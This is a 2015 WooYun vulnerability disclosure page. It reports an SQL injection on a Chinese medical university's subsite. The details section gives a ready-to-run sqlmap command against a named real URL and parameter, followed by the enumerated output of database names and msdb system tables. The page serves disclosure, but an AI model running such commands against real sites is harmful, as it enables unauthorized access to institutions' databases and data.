当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141853

漏洞标题：高校安全之某医科大学分站SQL注射

相关厂商：CCERT教育网应急响应组

漏洞作者： 冷白开。

提交时间：2015-09-18 00:09

修复时间：2015-09-23 00:10

公开时间：2015-09-23 00:10

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-18： 细节已通知厂商并且等待厂商处理中
2015-09-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

高校安全之中国医科大学SQL注射

详细说明：

sqlmap.py -u "http://etc.cmu.edu.cn/ylx/lianxi_x.asp?zid=1" --dbs

1.png

available databases [21]:
[*] bbs
[*] chengji
[*] master
[*] model
[*] msdb
[*] pictest
[*] picture
[*] QandA
[*] tempdb
[*] test1
[*] yaolibbs
[*] yaolijp
[*] yx_baoming
[*] zjxt
[*] 备份
[*] 护理资源共享课
[*] 药学院_临床药学实验教学中心
[*] 药学院平台
[*] 药理学精品共享课
[*] 辽宁培训学院
[*] 辽宁继续教育学院
Database: msdb
[95 tables]
+-------------------------------------+
| MSdatatype_mappings                 |
| MSdbms_datatype_mapping             |
| MSdbms_datatype_mapping             |
| MSdbms_datatype_mapping             |
| MSdbms_map                          |
| backupfilegroup                     |
| backupfilegroup                     |
| backupmediafamily                   |
| backupmediaset                      |
| backupset                           |
| log_shipping_monitor_alert          |
| log_shipping_monitor_error_detail   |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary        |
| log_shipping_monitor_secondary      |
| log_shipping_primaries              |
| log_shipping_primary_databases      |
| log_shipping_primary_secondaries    |
| log_shipping_secondaries            |
| log_shipping_secondary_databases    |
| log_shipping_secondary_databases    |
| logmarkhistory                      |
| restorefilegroup                    |
| restorefilegroup                    |
| restorehistory                      |
| sqlagent_info                       |
| suspect_pages                       |
| sysalerts                           |
| syscachedcredentials                |
| syscategories                       |
| sysdac_history_internal             |
| sysdac_instances_internal           |
| sysdac_instances_internal           |
| sysdatatypemappings                 |
| sysdbmaintplan_databases            |
| sysdbmaintplan_history              |
| sysdbmaintplan_jobs                 |
| sysdbmaintplans                     |
| sysdownloadlist                     |
| sysdtscategories                    |
| sysdtslog90                         |
| sysdtspackagefolders90              |
| sysdtspackagelog                    |
| sysdtspackages90                    |
| sysdtspackages90                    |
| sysdtssteplog                       |
| sysdtstasklog                       |
| sysjobactivity                      |
| sysjobhistory                       |
| sysjobs_view                        |
| sysjobs_view                        |
| sysjobschedules                     |
| sysjobservers                       |
| sysjobstepslogs                     |
| sysjobstepslogs                     |
| sysmail_account                     |
| sysmail_allitems                    |
| sysmail_attachments_transfer        |
| sysmail_attachments_transfer        |
| sysmail_configuration               |
| sysmail_event_log                   |
| sysmail_faileditems                 |
| sysmail_log                         |
| sysmail_mailattachments             |
| sysmail_mailitems                   |
| sysmail_principalprofile            |
| sysmail_profileaccount              |
| sysmail_profileaccount              |
| sysmail_query_transfer              |
| sysmail_send_retries                |
| sysmail_sentitems                   |
| sysmail_server                      |
| sysmail_servertype                  |
| sysmail_unsentitems                 |
| sysmaintplan_logdetail              |
| sysmaintplan_logdetail              |
| sysmaintplan_plans                  |
| sysmaintplan_subplans               |
| sysnotifications                    |
| sysoperators                        |
| sysoriginatingservers_view          |
| sysoriginatingservers_view          |
| sysproxies                          |
| sysproxylogin                       |
| sysproxyloginsubsystem_view         |
| sysproxysubsystem                   |
| sysschedules_localserver_view       |
| sysschedules_localserver_view       |
| syssessions                         |
| syssubsystems                       |
| systargetservergroupmembers         |
| systargetservergroups               |
| systargetservers_view               |
| systargetservers_view               |
| systaskids                          |
+-------------------------------------+

漏洞证明：

综上

修复方案：

你们懂

版权声明：转载请注明来源 冷白开。@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-09-23 00:10

厂商回复：

最新状态：

暂无